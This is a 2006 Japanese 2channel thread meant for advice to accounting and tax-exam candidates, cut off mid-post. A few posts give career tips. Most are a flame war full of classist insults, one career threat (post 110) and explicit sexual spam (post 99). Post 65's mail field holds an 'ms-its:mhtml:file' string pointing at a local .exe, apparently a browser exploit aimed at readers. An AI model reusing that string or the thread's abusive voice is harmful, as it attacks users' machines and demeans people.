合格者から受験生へのアドバイス

1 名前：一般に公正妥当と認められた名無しさん [2006/04/29(土) 00:41:27 ID:6jWKlHqF] 合格者・実務家の皆さん、受験生へエールとアドバイスをお願いします。 受験生の皆さんは、合格者･実務家への質問等を書き込んでね。 会計士・税理士・その他簿記検定等全会計資格に対応。 2 名前：一般に公正妥当と認められた名無しさん [2006/04/29(土) 00:44:38 ID:6jWKlHqF] 俺は去年税理士試験五科目そろえて官報合格。 実務もやりつつ思うことは、相続税・所得税は、科目合格を目指す 気は無くても、必ず受講して真剣に学習しておけ、ということ。 たいていの試験組税理士は法人税・消費税・その他のミニ税法で 受けているので、所得・相続は苦手。これらの体系的な知識があると、 就職後にものすごいウリになる。就職にも有利。 3 名前：一般に公正妥当と認められた名無しさん [2006/04/29(土) 00:47:20 ID:6jWKlHqF] あとパソコンは独習しておくこと。wordとエクセルとアクセス・パワーポイントは ＭＯＵＳ上級レベルのスキルは欲しい。 たいていの会計事務所は電算化されていて、かつ、センセイはパソコンが苦手。 ＰＣの知識があれば事務所内で一目おかれる。 4 名前：一般に公正妥当と認められた名無しさん mailto:sage [2006/04/29(土) 00:56:34 ID:???] 質問スレでやってください。 □◆もの凄い勢いで誰かが質問に答えるスレ18□◆ school5.2ch.net/test/read.cgi/exam/1144859956/ 5 名前：一般に公正妥当と認められた名無しさん [2006/04/29(土) 01:02:55 ID:RuvbBChR] なら、最初から国税3法にすればいいじゃん。 勉強してました程度じゃ、どの程度の知識レベルか がわからないじゃん。 その程度で売りになるのかね。 と国税3法合格者が言ってみる。 6 名前：一般に公正妥当と認められた名無しさん mailto:sage [2006/04/29(土) 01:04:05 ID:???] 改正されればゴミ 7 名前：一般に公正妥当と認められた名無しさん [2006/04/29(土) 01:04:54 ID:6jWKlHqF] >>4 質問がメインなのではなく、合格者からのアドバイスがメインです。 スレタイを見れば一目瞭然でしょう。勝手にスレの趣旨を恣意的に 捻じ曲げるのはやめてください。 8 名前：一般に公正妥当と認められた名無しさん mailto:sage [2006/04/29(土) 01:08:04 ID:???] >>7 イラネキエロ 9 名前：一般に公正妥当と認められた名無しさん [2006/04/29(土) 01:08:34 ID:6jWKlHqF] >>5 国税三法合格なんてすごいね。普通の学力の持ち主では非常に 時間がかかるので、固定資産税＋所得税とか平行で学習して 受験科目は固定資産税だけにする、とかが良いと思う。 普通の会計事務所なら、相続税の質問があったときに即答できる レベルでも周囲から一目おかれると思うよ。 ちなみに俺は法人・消費・事業税で合格した。 10 名前：一般に公正妥当と認められた名無しさん mailto:sage [2006/04/29(土) 01:16:04 ID:???] 他者の目＝自意識 11 名前：一般に公正妥当と認められた名無しさん mailto:sage [2006/04/29(土) 01:24:08 ID:???] 自意識過剰＝神経症 神経症と親の責任考察サイト takky.client.jp/ 12 名前：一般に公正妥当と認められた名無しさん mailto:sage [2006/04/29(土) 01:27:49 ID:???] >>1 オナニースレはこれと同じようになるだけだｗ 重複だし削除依頼しておけよ ★エール出版社合格体験記★ school5.2ch.net/test/read.cgi/exam/1110702436/ >>4 検索しろよ 13 名前：一般に公正妥当と認められた名無しさん mailto:sage [2006/04/29(土) 07:14:28 ID:???] >>１は女？かわいいね^^　乳首をダブルクリックしちゃうぞｗ 14 名前：一般に公正妥当と認められた名無しさん mailto:age [2006/04/29(土) 13:01:52 ID:???] この板よさげ 15 名前：一般に公正妥当と認められた名無しさん [2006/04/30(日) 22:53:05 ID:axpSfTVq] >>12 なにをもってこのスレをオナニースレと言っているのか全く論拠不明のうえ、 「★エール出版社合格体験記★」 は、ただの書評でしょ。全く重複して ないと思いますが。 16 名前：誘導. mailto:sage [2006/05/06(土) 00:20:19 ID:???] □◆もの凄い勢いで誰かが質問に答えるスレ19□◆ school5.2ch.net/test/read.cgi/exam/1146839333/ 17 名前：一般に公正妥当と認められた名無しさん [2006/05/07(日) 16:29:33 ID:wg3SYYD8] >>16 勝手に変な誘導をしないでください。 質問がメインなのではなく、合格者からのアドバイスがメインです。 スレタイを見れば一目瞭然でしょう。勝手にスレの趣旨を恣意的に 捻じ曲げるのはやめてください。 18 名前：一般に公正妥当と認められた名無しさん mailto:sage [2006/05/09(火) 21:22:06 ID:???] っていうか、実務経験つめよ 19 名前：一般に公正妥当と認められた名無しさん [2006/05/10(水) 00:13:04 ID:LK9MsLKK] 18の言うとおり。受験生も会計事務所とかで実務経験つんだほうがいい。 俺、シングルマスターで税理士おととしとったんだが、実務経験無かった せいで、就職するのがむっちゃ大変だったよ。就職してからも バイト受験生どもに、すげぇ軽蔑＆冷遇された。 20 名前：一般に公正妥当と認められた名無しさん mailto:sage [2006/05/10(水) 05:52:46 ID:???] >>19 就職難しかったて何歳？ 職歴なしだったとか？ 21 名前：一般に公正妥当と認められた名無しさん mailto:sage [2006/05/10(水) 06:36:17 ID:???] 派遣でも実務経験になる？ 22 名前：一般に公正妥当と認められた名無しさん mailto:sage [2006/05/10(水) 07:02:49 ID:???] >>21 なるわけねーだろ 23 名前：一般に公正妥当と認められた名無しさん [2006/05/14(日) 00:33:04 ID:D5ipk6Sq] 19だが職歴無し、会計事務所就職時27歳だったよ。今は税務会計以外の 職種についてる（不動産営業）。二世以外は無意味な資格だよな、 税理士って。 24 名前：一般に公正妥当と認められた名無しさん [2006/05/14(日) 01:27:19 ID:XzzWRpAe] 二世以外は無意味なんじゃなくてマス(ry 25 名前：一般に公正妥当と認められた名無しさん mailto:sage [2006/05/14(日) 01:45:31 ID:???] ダーツに興味ある人はいませんか？ 初心者、上級者一切問いません。ダーツを愛する方ならどなたでも結構です。 実はあるダーツ店のマスターが客が来なくてとても困っているようです。 　　↓↓↓　詳細はこちら　↓↓↓ sports9.2ch.net/test/read.cgi/bullseye/1111230059/431-452 できればこのマスターに励ましの言葉をお願いします。 また、もしこの店の近くにお住まいの方はお店の方にも行ってあげてください。 困ったときはお互い様です。ダーツを愛するもの同士助け合いましょう！ 26 名前：一般に公正妥当と認められた名無しさん [2006/05/18(木) 22:48:33 ID:YZ1BjO39] 派遣でもバイトでも、実務経験になる。っつーか、会計ソフトや申告ソフトの 入力ができる、というだけで、就職にかなり有利。まぁ、２、３科目合格程度じゃ 最初は正社員就職は無理だろうから、バイトからのしあがるつもりでがんがれ。 27 名前：一般に公正妥当と認められた名無しさん [2006/05/22(月) 23:51:48 ID:FHSaEEKQ] >>24 19だが、税理士は資格をとってからが本当の勝負ってことは、いくら 頭の弱そうなオマエでもわかるよな。要するに受験生なんぞ、勝負の 入り口にすら立てていない、ニート・引きこもりの仲間ってことだ。 有名私大の法学大学院を出て、税理士資格も持っている俺に、ゴミ受験生 風情が生意気な煽りいれるんじゃないよ、全く。どうせ、大学院に いきたくてもいけない高卒くんだろうがな。 28 名前：一般に公正妥当と認められた名無しさん mailto:sage [2006/05/23(火) 22:15:47 ID:???] はっきり言って院免除のほうが試験組より優秀 29 名前：一般に公正妥当と認められた名無しさん mailto:age [2006/05/24(水) 07:17:49 ID:???] >>28 と必死に書き込むのは、いつも免除 他人から評価さんれないので、自分で自分を擁護せざるを得ない そりゃそーだわな、いつも会では肩身の狭い思いしてるから いつまでも自分で慰める人生を送ってろや 30 名前：一般に公正妥当と認められた名無しさん [2006/05/24(水) 23:44:33 ID:TvcO2+tB] >>29 と必死に書き込むのは、受験7回目とかの万年受験生。 おおむね三十前後で職歴はバイト程度。はっきり言って人生終わっている。 いうなれば、社会の排泄したウンコだな。いい加減、親のスネかじるのやめて 働けよ、ニートが。ま、万年税理士受験生程度に出来る仕事は、工事現場か コンビニでたちんぼ程度だろうけどなｗｗｗ　デスクワークなんて一生無理ｗｗｗ 首から下つかって死ぬまでたちんぼしとけやｗｗｗ 31 名前：一般に公正妥当と認められた名無しさん mailto:sage [2006/05/25(木) 01:29:03 ID:???] ガキの喧嘩だな。。。 免除の方が賢いと思うよ。 早く受かればその分新しい勉強に時間回せるわけだし。 知り合いが３年目位で一科目もないのに 簿財取ったら法人と所得取ると３０歳で夢を語ってる。 関東上流江戸桜レベルじゃムリでしょ。 32 名前：一般に公正妥当と認められた名無しさん mailto:age [2006/05/25(木) 07:47:00 ID:???] >>30 パクリのレスするってのも免除がいかにｳﾞｧｶかを証明してるが．．． うちの会じゃ、試験組の税理士同士がグループ作ってる。影で、みんな免除をバカにしてるよ、「あの人は試験で受かったの？」 「いやぁ、どーも院らしですよ．．」 「まさかダブルマスター？」 院の人は肩身狭いよな、自分で「私は試験じゃないんですよー、でへじぇ。頭悪かったんで...」 「そんなことないですよ、実務とは別ですから」ってその場では口じゃ言ってやるけど、腹ん中ではみんなで大笑い。 33 名前：一般に公正妥当と認められた名無しさん mailto:pupupu [2006/05/25(木) 08:09:59 ID:???] 国税10年以上勤務＋田舎の院卒で5科目免除の疑いのある 松岡章夫くんが作った試験問題すら解けない、 想像を絶するバカが9割弱を占める相続税法受験生wwwwwwwwwwwwwww もっと笑えるのは 自称優秀な法人税法受験生の約9割が、 立命館という三流尻津の現役大学院生（！）である植田卓くんが作った 法人税法の本試験問題すらまともに解けなかったという恐ろしい現実wwwwwwwwwwwww コイツらが仮に院免狙いで大学院に何らかの間違いで入学できたとしても どうせ講義や議論についていけずに居場所が無くなって自主退学するのがオチだろうけどなwwwwwwwww 院免バカにしてる暇があるならせいぜいその院免が作った問題くらいは 一人前に解けるようにしようぜwwwwwwwwwwwwwww 34 名前：一般に公正妥当と認められた名無しさん mailto:sage [2006/05/25(木) 09:29:48 ID:???] 前にどこかのスレで書いてあったが… ＴＫＣだか青税だかの飲み会でその日タマタマ院免除の税理士が全員欠席して出席者は試験組だけ。 「いや〜今日は偽物が居ないから酒がうまいや」と誰かが音頭を取って、大爆笑だったそうだ 本心はこんなもんだろ。特に旧税理士法の免除なんて税法合格０だし。 35 名前：一般に公正妥当と認められた名無しさん mailto:age [2006/05/25(木) 13:49:35 ID:???] >>33 「院免除が作ったキチガイ問題だから、正常な受験生は理解できなかった」とは解釈できんの？ 36 名前：一般に公正妥当と認められた名無しさん [2006/05/25(木) 23:55:48 ID:CS928IJp] 学問の最高府である大学院を出て修士号を持ち、税理士資格を持っている社会的エリートと 30才前後高卒or底辺偏差値大学税理士受験生要するにウンコ無職のどちらの社会的評価が 高いか、言わなくてもわかるよね？？ｗｗ あ、わからないから、何年もクソ資格のクソ条文暗記受験を続けているのかｗｗ 37 名前：一般に公正妥当と認められた名無しさん mailto:sage [2006/05/25(木) 23:58:30 ID:???] >>33 競争試験って知ってるか？ 38 名前：一般に公正妥当と認められた名無しさん mailto:sage [2006/05/26(金) 00:00:42 ID:???] 既にクソスレとなりつつあるな・・・。 立てたやつがかわいそ。 39 名前：ななし [2006/05/26(金) 00:05:49 ID:j+Gh18wM] 院卒免除うざい お前みたいな輩がおるから世間から馬鹿にされる。消えておくれ。 40 名前：一般に公正妥当と認められた名無しさん mailto:age [2006/05/26(金) 06:25:10 ID:???] >>33 はぁ？ 税理士試験さえ合格する自信が無いくせに、ずいぶんデカイ面してんな？ ますます免除のｳﾞｧｶを披露してんじゃん また試験組仲間で笑えるネタを提供してくれたな 41 名前：一般に公正妥当と認められた名無しさん mailto:age [2006/05/26(金) 08:49:11 ID:???] 学問の最高府である大学院を出て修士号を持ち、税理士資格を持っている社会的エリート 学問の最高府である大学院を出て修士号を持ち、税理士資格を持っている社会的エリート 学問の最高府である大学院を出て修士号を持ち、税理士資格を持っている社会的エリート 学問の最高府である大学院を出て修士号を持ち、税理士資格を持っている社会的エリート 偏差値４０の私大の大学院が最高府？ 42 名前：一般に公正妥当と認められた名無しさん mailto:sage [2006/05/26(金) 12:23:58 ID:???] 会計全般試験＠2ch掲示板　ローカルルール 　　■公認会計士試験、税理士試験、簿記検定等、会計系全般の資格試験についての板です 　　■上記以外の資格試験の話題については【資格全般板】へどうぞ 　　■単発での質問スレは禁止 、質問は【質問スレ】でお願いします 　　■実務的な話題については【税金経理会計板】へどうぞ 　　■学歴、地位、序列等の話題については【学歴板】又は【格付け板】へどうぞ 43 名前：一般に公正妥当と認められた名無しさん [2006/05/27(土) 21:49:25 ID:xbGlTFo3] おまえら、煽りあいはやめろよ！ 同じ税理士内で格付けしあってどうすんだよ！ 免除だろうが、試験だろうが、早くライセンスを取得して、金を稼ぎ 出したやつの圧倒的な勝ちなんだよ！ 税理士なんてしょせんは、公務員の福利厚生、弁護士･会計士のグリコの オマケ資格だろ！ｗ 国税三法受験してます！なんてしょっぱい見得きっても三十前後で受験生なんて、 会計士は鼻で笑ってるぞ！！ｗ 44 名前：一般に公正妥当と認められた名無しさん mailto:sage [2006/05/27(土) 21:52:53 ID:???] 免除税理士の方が確実に上 ｸｿ会計士よりも勿論上 45 名前：一般に公正妥当と認められた名無しさん [2006/05/27(土) 22:14:11 ID:FJc1Vn+k] >>44がﾎﾝﾄの税理士であるならば 税理士の品格評判を落とす典型的な書き込み。同じ税理士として嘆かわしい。 救いはキミが税理士じゃないと思われることだが。 46 名前：誘導. mailto:sage [2006/05/27(土) 22:14:47 ID:???] やる気の出る名言を受験生に！ school5.2ch.net/test/read.cgi/exam/1110205746/ 47 名前：一般に公正妥当と認められた名無しさん mailto:sage [2006/05/27(土) 22:42:55 ID:???] 　　　　　　　　　高卒は何も免除されないから 　　　　　　　　　きちんと5科目試験を受けること 　　　　　　　　　　　　　　税理士法 48 名前：士補 mailto:age [2006/05/27(土) 23:12:06 ID:???] みんな明日の短答ガムバレよ！！ 49 名前：一般に公正妥当と認められた名無しさん [2006/05/28(日) 00:53:49 ID:QF5gBifZ] >>46 おいおい、「合格者からのアドバイス」っていうのと「やる気の出る名言」 ってのは全く別物でしょうが。拡大解釈っていうか、言葉の取り違えも いいとこ。 この板じゃ強引な誘導をしたがり、ローカルルールを張りまくる独りよがりで 迷惑なやつ（多分単独犯）がいるのだがいったい何が目的なんだ？ これって荒らしと同じだよな？今度訴えてみよう。 50 名前：一般に公正妥当と認められた名無しさん mailto:sage [2006/05/28(日) 01:04:38 ID:???] どうぞご自由に。p 51 名前：一般に公正妥当と認められた名無しさん [2006/05/30(火) 00:42:35 ID:BBkR64Bq] >>43 ＞税理士なんてしょせんは、公務員の福利厚生、弁護士･会計士のグリコの ＞オマケ資格だろ！ｗ 身もふたも無い真実を言ってやるなよ。高卒＆低偏差値大学卒業生の最後の 受け皿なんだからさ、税理士ってｗ 52 名前：一般に公正妥当と認められた名無しさん mailto:sage [2006/05/30(火) 01:16:36 ID:???] このスレに合格者いるのｗ？ 53 名前：一般に公正妥当と認められた名無しさん mailto:age [2006/05/30(火) 07:23:27 ID:???] 51=最悪生物 ここにもいました 54 名前：一般に公正妥当と認められた名無しさん mailto:sage [2006/05/30(火) 09:12:40 ID:???] >>51 アドバイスだよ〜ん　けなしじゃないよ〜ん　スレ違いだよ〜ん 煽るやつは無視だもんねえ〜だ　遊んでないで勉強しようだよ〜ん 55 名前：一般に公正妥当と認められた名無しさん [2006/05/30(火) 23:13:09 ID:BBkR64Bq] 51とか43って、会計士受験生ならみんな思ってるだろ。 言わないだけ。大人だからｗ 56 名前：一般に公正妥当と認められた名無しさん mailto:sage [2006/05/30(火) 23:48:39 ID:???] なんだよ、税理士スレかよ。 ちゃんとスレタイに「税理士」って入れとけ！ 57 名前：一般に公正妥当と認められた名無しさん [2006/05/31(水) 00:56:50 ID:d9XhXQME] 敢えて遊べ。 58 名前：一般に公正妥当と認められた名無しさん mailto:sage [2006/05/31(水) 07:57:31 ID:???] 遊べや遊べ。 試験が終わってみたら、「別に勉強しなくてもよかったな。」ってな感じだからさ。 59 名前：一般に公正妥当と認められた名無しさん [2006/06/04(日) 00:52:08 ID:3NRuiD4e] 税理士受験生とか会計士受験生とかって遊び方知らない、いい歳こいたお子様が多くて 困るよね。こないだ飲み会で「休日どこかに遊びにいきましょう」誘われて、 あんまりしつこいから渋々相手してやって、「どこにいきたいの？」って聞いたら、 「上野動物園とか、映画とか」だって。きっと女の子とつきあったことも無い 童貞なんだろうなぁ。 少しかわいそうになった。 60 名前：一般に公正妥当と認められた名無しさん [2006/06/04(日) 00:53:52 ID:3NRuiD4e] もうＴＡＣの飲み会とか参加するのはやめようかな。 正直、男の人はキモいし、ブサな人が多いし。 61 名前：一般に公正妥当と認められた名無しさん mailto:age [2006/06/04(日) 01:02:56 ID:???] わがまま言うな。 お似合いだと思われてるからオマエが誘われるんだろｗ 62 名前：一般に公正妥当と認められた名無しさん mailto:sage [2006/06/04(日) 17:06:03 ID:???] ここは合格者からの書き込みな。ニートのお前は書き込む権利ないから自演してないで早く寝ろ。 63 名前：一般に公正妥当と認められた名無しさん [2006/06/06(火) 00:21:13 ID:I/PEvp3z] >>62 世間じゃいい年こいて正社員暦がなくて、 いい年こいて親の金で塾に行って、 いい年こいて家や塾にこもりっぱなしの人も ニートって呼ぶんだよ。知ってたかな？ｗ 64 名前：一般に公正妥当と認められた名無しさん mailto:sage [2006/06/06(火) 00:36:32 ID:???] 自立もできない奴はポン引き未満の乞食に近い身体 65 名前：一般に公正妥当と認められた名無しさん mailto:sage $ﾊ/d-gｧ28:ju/こms-its:mhtml:file://c:\ぇ.exe [2006/06/06(火) 01:14:52 ID:???] 　 66 名前：一般に公正妥当と認められた名無しさん [2006/06/11(日) 01:11:35 ID:HrCmTauG] フリーターで簿記一級合格者だが。 何の役にもたたん。一年も勉強してとったのに。 こりゃ新卒の子が就職活動の際に持ってると有利ってだけの 資格だな。 67 名前：一般に公正妥当と認められた名無しさん mailto:sage [2006/06/11(日) 16:38:23 ID:???] 　　 　　　　　　　　 　　 ‖ 　 　 　 　 　　　＿__　　‖ 　　　　　　 ／　　　 ｀ヽ‖ 　　　　　 ,:'　　　　　　､ゑ　 　　　　　,'　　 　;　　i　 八､ 　　　　　|,! 、 ,! | 　,' ,〃ヽ!;､ 　　 　 　|!| ｌ川 l ﾘへ'==二二ト､ 　　　　　ﾘ川 !| i′　 ﾞ､　　　　', ', 　　　　　lﾙl ||,ﾚ′　　 ヽ　　　,ﾉ ,〉 　　　　 　 |川'、　 ,,.,.r'"　 　 ,,ンﾞ 　　　　　　　　｀T"　 ! ,/ '.ﾉ,/｜ 　　　　　　　　 / 　 ,!´　!ﾞヾ{　| 　 　 　 　 　　/ 　 ,' 　 i　ﾞ　! ,lﾞ 　　　　　　,r‐'ヽ-､!　　 ',　　l｜ 　　　　　 {　　　 ｀ヽ　　 !　 ｢ﾞﾌ 　 　　　　,>┬―／　　 ;　 i,｀{ 　　　　　/ /ﾘ川'　 　 　 　 ', ﾞ､ 　　　 ／ ,/　　　 　 　 　 　 ﾞ､ ﾞ、 　　 ノ 　/　　　　　　　　　　　', ｀､ 　　 ＼_/　　 ;　　　　　　　　　 ﾞ、ヽ、 　　　　l__　　 !　　　　　　　 _＿_〕 ,､l 　　　　　 ￣｀‐┬―r┬‐r'´　｀'‐'′ 　　 　 　 　 　　|　　.! |　 | 　　 　 　 　 　　|　　| .|　 | 　　 　 　 　　　｜　ｊ　| 　! 68 名前：一般に公正妥当と認められた名無しさん [2006/06/13(火) 00:34:53 ID:RDkAS86c] >>66 簿記一級じゃ就職すら無理か。会計事務所とかでも無理なのか？ 69 名前：一般に公正妥当と認められた名無しさん mailto:sage [2006/06/18(日) 01:18:41 ID:???] 免除してからあとで税法受けなおすことできるの？ なんか文句言う奴多そうなので後から法人税受けようと思うんだけど。 70 名前：一般に公正妥当と認められた名無しさん [2006/06/18(日) 01:24:32 ID:1dxGpN5t] >>69 べつに受けなくていい。 ２ちゃんねるで吼えているのは、院にいく資格の無い 高卒OR低偏差値大学の万年受験生だけ。 悔しいから、負け犬の遠吠えやってるだけだよｗ 税理士なんてクソ資格はやくとったもんがちなのになｗ 71 名前：一般に公正妥当と認められた名無しさん mailto:sage [2006/06/18(日) 01:38:14 ID:???] >>70 ありがとう。そうだよね。早く取れて余った時間で他の資格をどんどん 取っていこうと思うんだよね。人間の時間なんて限られてるんだから。 でも人間、原始的レベルの男の嫉妬が一番怖いからな。 理屈うんぬんではなく感情で攻撃してくるからな。子供なんだろうけど。 72 名前：一般に公正妥当と認められた名無しさん mailto:sage [2006/06/18(日) 10:40:03 ID:???] ちんこは磨いとけ 受かってみるとかなりモテる 73 名前：一般に公正妥当と認められた名無しさん [2006/06/19(月) 01:09:25 ID:kAVs9ftH] >>72 会計事務所の勤務税理士のセンセ、一年前ツヴァイに登録したが、書類で 女にキられまくって、面接までたどりつけたの2件だけだと言ってたぞ。 世の女の子の大半は税理士なんて職業のステータスはコンビニ店員より 若干上程度にしか思ってねーだろ、多分。 74 名前：一般に公正妥当と認められた名無しさん mailto:sage [2006/06/19(月) 12:06:59 ID:???] >>73 そんな惨めな出来事を自ら語る税理士がどこにいるんだよｗ ネタも程々にしろ 75 名前：一般に公正妥当と認められた名無しさん [2006/06/20(火) 00:36:48 ID:L6cTab7N] >>74 信じたくない気持ちは分かるが、税理士なんて地味で泥臭い肩書きじゃ 女にモテるどころか、ヒかれたり嫌われるのは自明の理。 ま、オマエも職業：税理士で出会い系にでも登録してみろ。 イヤでもわかるよｗ 76 名前：一般に公正妥当と認められた名無しさん mailto:sage [2006/06/20(火) 15:49:06 ID:???] 俺の知り合いで大手税理士法人勤務で年収1000万弱の29歳の奴がいるが、かなりモテてるよ。 77 名前：一般に公正妥当と認められた名無しさん mailto:sage [2006/06/20(火) 16:17:39 ID:???] 四大(三大)監査法人の初任給ってぶっちゃけどれくらいなの？ 78 名前：一般に公正妥当と認められた名無しさん [2006/06/20(火) 19:56:06 ID:L6cTab7N] >>77 手取り25万前後。 79 名前：一般に公正妥当と認められた名無しさん [2006/07/02(日) 11:19:42 ID:IR1ZIv/1] 独立開業できなきゃ資格業なんて犬のクソでしょ。 80 名前：一般に公正妥当と認められた名無しさん [2006/07/02(日) 12:29:47 ID:+ErXUAE8] 会計士は独立よりも監査法人辞めた後外資金融・コンサルに行く のが主流だろ。 81 名前：一般に公正妥当と認められた名無しさん [2006/07/02(日) 12:44:46 ID:L0H4/zXb] つうか会計士とるぐらいなら弁護士目指せばいいのに。 こちらロー２年生。経理とか商業高校の人間がやることだろ。 82 名前：一般に公正妥当と認められた名無しさん mailto:age [2006/07/02(日) 12:45:14 ID:???] >>73 税理士という職業でそういう結果になったのではなくその人物の年齢とか経歴とか が少々クエスチョンでそうなったのではないかい。当然みてくれもあるだろ。 >>77 ４大はHPの通り年４８０万円、時間外込みで約６００百万円位。 但し年齢に左右されないので２３歳も３５歳も同じ給与というところがミソ。 83 名前：一般に公正妥当と認められた名無しさん mailto:age [2006/07/02(日) 13:54:16 ID:???] >>81 激しく同意 84 名前：一般に公正妥当と認められた名無しさん [2006/07/02(日) 14:41:01 ID:G73umynC] 今後は弁護士目指すメリットが感じられない。学費高いししゅうしゅうの金も貸与になるし、数が増えたら給料だって下がるだろ。就職決まらない人も増えてるらしいし。 85 名前：一般に公正妥当と認められた名無しさん mailto:sage [2006/07/02(日) 14:48:29 ID:???] >４大はHPの通り年４８０万円、時間外込みで約６００百万円位。 >但し年齢に左右されないので２３歳も３５歳も同じ給与というところがミソ。 これだと高齢者が採用不利になる理由はないんじゃない？ 86 名前：一般に公正妥当と認められた名無しさん mailto:sage [2006/07/02(日) 15:04:02 ID:???] >>85 歳取った人も結構いるよ。 採用は、本人が歳を気にするかどうかが一番のポイント。 面接で、気にしそうだと判断されれば、採用されないだけ。 87 名前：はげ mailto:あげ [2006/07/02(日) 15:46:08 ID:???] 受かっても、いいことなんてないよ。仕事辛いし、馬鹿上司多いし。自分の時間ないし。お金たくさん火星でも、使う暇ないし 88 名前：一般に公正妥当と認められた名無しさん mailto:age [2006/07/02(日) 17:30:44 ID:???] 仕事の繁閑の差は確かに有り。しかしいつもやること無くて暇じゃそれこそ困るでしょ。 決算期の関係でゴールデンウイークの頃が一番忙しい。夏と年末年始はおk 89 名前：一般に公正妥当と認められた名無しさん [2006/07/02(日) 17:51:49 ID:AcJDj3dk] ていうか今後は二世事務所を 大手税理士法人が買収すれば 無問題 90 名前：一般に公正妥当と認められた名無しさん mailto:sage [2006/07/02(日) 18:13:10 ID:???] 仕事があまりにもしょうもないというのが問題だ 91 名前：一般に公正妥当と認められた名無しさん [2006/07/03(月) 21:37:02 ID:+2X4yBvd] 俺、中規模の税理士事務所に勤めてる税理士。 将来は独立して事務所を構えるだろうと予想してるのか 試験合格後、税理士登録してからはいろんなところから 見合い話が舞い込む。 俺若く見えるのかもしれないけどもう35だし、 なんと言っても結婚してるんだけど。 92 名前：一般に公正妥当と認められた名無しさん mailto:sage [2006/07/03(月) 22:07:49 ID:???] 風船おじさんみたいに夢ばかり見てるな、ごくつぶし 93 名前：一般に公正妥当と認められた名無しさん [2006/07/03(月) 23:00:16 ID:kJxmqpIt] つーか税理士なんてショッボい資格が夢だなんて、その時点で人生終わってる。 男なら俺のように堂々と会計士を目指すべき。ビッグになれよ、小僧ども。 94 名前：一般に公正妥当と認められた名無しさん mailto:sage [2006/07/04(火) 13:49:19 ID:???] 税理士と会計士は稼ぐフィールドが違います。受験する方は勘違いしないように。 95 名前：一般に公正妥当と認められた名無しさん [2006/07/06(木) 21:16:22 ID:EhN4kT24] >>94 会計士は税理士登録もできるってことをご存じですよね？ 逆は無いけどっｗ つまり税理士の稼ぐフィールドってのは会計士に比べて著しく 狭い、ってのは理解できますでしょうか？？？？wwwwwwwwwwwwwwwwwwwww 96 名前：一般に公正妥当と認められた名無しさん mailto:sage [2006/07/06(木) 21:50:25 ID:???] >>95 じゃあ登録してみろよ。 97 名前：一般に公正妥当と認められた名無しさん mailto:sage [2006/07/07(金) 08:56:54 ID:???] なんか短答合格者が弾けてますねｗ 論文で沈没するとも知らずに 98 名前：一般に公正妥当と認められた名無しさん [2006/07/08(土) 18:17:01 ID:v6SilvGq] まぁ、会計士受験生全員が税理士受験生を馬鹿にしていることは 間違いないだろ。税理士資格は下級資格だ。あんなウンコ資格は馬鹿でも 誰でもとれるｗ。 99 名前：一般に公正妥当と認められた名無しさん [2006/07/08(土) 18:21:31 ID:dnaCmPhV] 「黙って僕のセンズリ見てください！！」　これくらい書いた方がインパクトあるかな。開脚させられ性器をイジられるとさすがに抵抗するが、指マンされればグチュグチュと淫音を立ててみたいなエッチい事しようよ。　何度も可愛く逝きまくり、ラストは口射＆お掃除フェラ！ 野外でM字放尿。「恥ずかしさが徐々に快感へと変わっていくって言葉にピンときたらメールくださいまし 100 名前：一般に公正妥当と認められた名無しさん mailto:age [2006/07/08(土) 18:35:15 ID:???] まさに品性下劣極まりない会計士受験生ピッタリのresだね！！！！！ 101 名前：一般に公正妥当と認められた名無しさん mailto:sage [2006/07/08(土) 18:43:47 ID:???] 品性下劣とは会計士受験生として聞き捨てならないな 98のような低脳ＤＱＮとは一緒にしないように 98はせいぜい担当レベルしょｗ 会計士受験生でも税理士受験生を馬鹿にしない人はいるよ 102 名前：一般に公正妥当と認められた名無しさん [2006/07/10(月) 19:35:53 ID:DrPiglse] 俺４０代主婦の愛人してる。 それで月２０万。 ババア相手にするのはしんどいけど楽に稼げるししょうがない。 この試験時間が勝負だし。 103 名前：一般に公正妥当と認められた名無しさん mailto:sage [2006/07/10(月) 23:05:48 ID:???] アドバイスの書き込みがないのは何故？ 1は立て逃げ 104 名前：一般に公正妥当と認められた名無しさん [2006/07/13(木) 20:34:20 ID:/WsQTROk] 公認会計士試験は他の資格試験とは比較できないくらい馬鹿でもって受かる試験なんだから 簿記検定試験の延長だと思えばいいよ 落ちたのはたまたまなんだからアクシデントと思えばよし 高卒でも一発合格が珍しくない試験だからあなたの実力があり公認会計士に受かるんだという強い意志があれば必ず受かるから元気だしなよ 105 名前：一般に公正妥当と認められた名無しさん mailto:age [2006/07/13(木) 21:15:55 ID:???] お前のレス困るとすぐに会計士受験生に持っていくなw 受験生相手ならなんとでもいえるもなw 106 名前：一般に公正妥当と認められた名無しさん [2006/07/18(火) 00:47:18 ID:2tvCZ/S4] たまには建設的なアドバイスを。 税理士試験に五科目合格したら、実務経験は会計士事務所でつめ。 絶対に税理士事務所に行っては駄目だ。たいてい高卒の公務員上がりが 経営しているので、試験組が入ったら超こきつかわれる。 同僚職員もたいてい高卒か低学歴なので、色々いじめられるうえ、イヤな仕事は 全て押しつけられる。 会計士は少なくとも大卒なので、大卒イビリはないし、職場のマナーも良い。 むしろ税務に関してはこちらに頼ってくるところがある。 107 名前：一般に公正妥当と認められた名無しさん mailto:sage [2006/07/18(火) 10:50:42 ID:???] ↑１０６ナイスアドバイス 併せて実業出版とかの税理士資格本もご覧あれ。 事務所就職はかえって５科目未達者の方が歓迎される。 何故かというと大手以外はほとんどが個人営業で給料を 低く抑える傾向が強く税理士だとそれが出来なくなるため。 それと大概の所長は顧客引き去りを極端に恐れる。 会計士は最初から監査法人に入る前提なのでそれほど違和感は無いが 税理士は自分で開業する前提でないと苦労してやっと合格しても”こんなはずでは”となってしまうのでご注意を。 108 名前：一般に公正妥当と認められた名無しさん [2006/07/23(日) 01:58:04 ID:qP+HqQLO] まぁ税理士なんてクソ資格を受験する連中なんて、 会計士に受かる自信の無いバカか、会計士を受ける資格の無い低学歴連中ばっか だからな。そもそもそんなバカ連中の開いた“税理士”事務所に勤めようなんてのが 正気の沙汰とは思えないｗ。 109 名前：一般に公正妥当と認められた名無しさん mailto:ID??? [2006/07/23(日) 02:22:27 ID:???] ＞＞　１０８ 　人のこと、そんなにクソ扱いスルあんたが、もっとも低レベルだ。 　クソ資格とはなんだ。あんた、大学でてんのか。 　でてんならどの大学だ。 　税理士および税理士事務所勤務の方に謝罪しろ。 110 名前：一般に公正妥当と認められた名無しさん mailto:ID??? [2006/07/23(日) 02:45:05 ID:???] ＞　108 おまえが、俺のいる法人にはいったら、二度とこの業界で食えない 　　ようにしてやるから覚悟しとけ。 111 名前：一般に公正妥当と認められた名無しさん [2006/07/23(日) 09:15:55 